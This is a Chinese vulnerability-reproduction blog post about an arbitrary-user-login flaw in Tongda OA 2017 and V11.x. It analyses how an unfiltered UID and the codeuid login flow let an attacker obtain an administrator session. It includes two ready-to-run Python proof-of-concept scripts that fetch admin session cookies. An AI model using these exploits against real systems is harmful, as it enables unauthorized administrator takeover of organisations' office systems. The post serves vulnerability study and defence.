• 通达OA前台任意用户登录漏洞复现分析


    漏洞概述

    通达OA是一套国内常用的办公系统,其此次安全更新修复的高危漏洞为任意用户登录漏洞。攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系统(包括系统管理员)。

    影响版本

    通达OA 2017

    通达OA V11.X<V11.5

    环境搭建

    exe直接搭,自己指定目录,2017版本,V10.13

    漏洞复现

    使用poc获取session

    访问/general/index.php并替换PHPSESSID

    就直接成功登陆管理员账户了

    一些废话

    看了下poc,2017的v10版本和v11.x版本再漏洞点上是有区别的。

    之前不太了解OA系统,然后源代码是看不了的,打开是乱码,16进制数据头是Zend

    百度发现是通过Zend的加密方式,了解了下Zend引擎。

    网上找了下解密的,都是太老的了,没用。

    噢?在最后看了一些OA代码审计的,找到几个解密的。明天整起来

    如果想看下分析的话可以看下Q1ngShan师傅写的

    https://www.evi1s.com/archives/194/

    漏洞分析

    2017_第一种

    这里就分析下V10.13的

    2017 V10.13版本中/logincheck_code.php也存在问题

    直接获取POST UID参数,并且没有任何过滤,直接带进SQL语句查询

    $query = "SELECT * from USER where UID='$UID'";

    分析都是说UID为1是admin,这里进入mysql5目录,查看my.ini获取密码

    进入TO_OA数据库,查询上述语句,查看结果

    确实是admin,管理员用户。接着回到logincheck_code.php 

    172行-178行的赋值

    $LOGIN_UID = $UID;
    $LOGIN_USER_ID = $USER_ID;
    $LOGIN_BYNAME = $BYNAME;
    $LOGIN_USER_NAME = $USERNAME;
    $LOGIN_ANOTHER = "0";
    $LOGIN_USER_PRIV_OTHER = $USER_PRIV_OTHER;
    $LOGIN_DEPT_ID_JUNIOR = GetUnionSetOfChildDeptId($LOGIN_DEPT_ID . "," . $LOGIN_DEPT_ID_OTHER);
    $LOGIN_CLIENT = 0;

    都是上面24行开始,sql查询返回的数据

    180行-196行,将上述赋值的变量传入SESSION中

    也就是当我们在logincheck_code.php中POST传入UID=1

    经过logincheck_code.php的SQL查询操作,直接将返回admin认证的SESSION到当前的SESSION中

    这时可以带着当前的SESSION到/general/index.php中,直接是admin管理员用户。这个如果看了上Q1ngShan的分析,可以发现11.3也存在这样的问题。11.4中logincheck_code.php增加了验证机制,不够也可以绕过。后面在分析。

    poc:

    #来自Q1ngShan
    import requests
    import json
    
    headers={}
    def getV11Session(url):
        checkUrl = url+'/general/login_code.php'
        print(checkUrl)
        try:
            headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"
            getSessUrl = url+'/logincheck_code.php'
            res = requests.post(
                getSessUrl, data={ 'UID': int(1)},headers=headers)
            print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
        except:
            print('[-]Something Wrong With '+url)
    
    if __name__ == "__main__":
        getV11Session("http://xxxxx/")

    同样适用于v11.3

    2017_第二种

    可以看到Space师傅写的2017的poc中并没有用这种方式

    问题在/ispirit/login_code_check.php上

    和上面的根目录中的logincheck_code.php基本是一样的,只不过换了一些参数,还是直接将UID带入sql查询,但是这里UID并不是直接POST,而是需要将获得的codeuid经过一系列操作,然后赋值给UID

    也就是说,如果我们get传入合适的codeuid,并且令$code_info[‘uid’]的值为1,呢么经过上面的验证到达SQL查询,然后返回的就是admin的相关参数,传入session中,这时的session认证后就是admin用户了。

    这里经过了两个TD:get_cache才能进入的判断,第一个是CODE_LOGIN_PC,第二个是CODE_INFO_PC

    这里我们搜索一下CODE_INFO_PC

    在/general/login_code_scan.php中可利用的点

    这里我差点搞混了,v10.13和v11.4在logincheck_code上是不一样的。差点搞混了。

    到这里后,这里应该是倒数第三步,在这里我们需要输入一个codeuid,经过TD::set_cache后的codeuid就可以用在/ispirt/logincheck_code.php上,然后再写绕过判断写入SESSION,最后拿到的SESSION就是admin用户的了。

    这里需要一步,如何拿到codeuid,因为看上文就可以看到,codeuid并不是随便输入的,是有特定的序列的。

    我们在/ispirt/login_code.php中可以找到产生一个特定的codeuid

    这一步步其实都是反推来的。

    梳理下流程是这样的:

    1. 进入ispirit/login_code.php获取codeuid
    2. 使用获取的codeuid进入general/login_code_scan.php设置type为confirm
    3. 使用codeuid进入ispirit/login_code_check.php

    获得一个唯一的codeuid

    经过TD::set_cache处理后的codeuid

    admin相关认证数据写入session,带着这个session访问/general/index.php,就是admin管理用户

    poc:

    #来自Q1ngShan
    import json
    import requests
    
    def getSession(url):
        vulUrl = url+'/ispirit/login_code.php'
        res = requests.get(vulUrl)
        codeuid = json.loads(res.text)['codeuid']
        print(codeuid)
        confirmUrl = url + '/general/login_code_scan.php'
        data = {
            'codeuid':codeuid,
            'uid': int(1),
            'source': 'pc',
            'type': 'confirm',
            'username': 'admin',
        }
    
        res = requests.post(confirmUrl,data=data)
        status = json.loads(res.text)['status']
        print(status)
        if status == str(1):
            seesionUrl = url + '/ispirit/login_code_check.php?codeuid='+codeuid
            res = requests.get(seesionUrl)
            print('[*]cookie:'+res.headers['Set-Cookie'])
        else:
            print('[-]failed')
    
    
    if __name__ == "__main__":
        getSession('http://xxxx/')

    同样适用于V11.4

    环境:

    2017 v10.13

    链接:https://pan.baidu.com/s/1PyA3PI3BvCvX2fx-4tjagw
    提取码:7ac0

    v11.4

    https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

  • 相关阅读:
    rails 给类添加属性
    workflow engine Ruote初体验之二(通用属性)
    workflow engine Ruote初体验之一(概念)
    workflow engine Ruote 安装
    文字编码
    C# 制作Windows服务安装包
    Ruby on rails初体验(三)
    18-语言入门-18-鸡兔同笼
    17-语言入门-17-笨小熊
    16-语言入门-16-谁获得了最高奖学金
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/12833848.html
Copyright © 2020-2023  润新知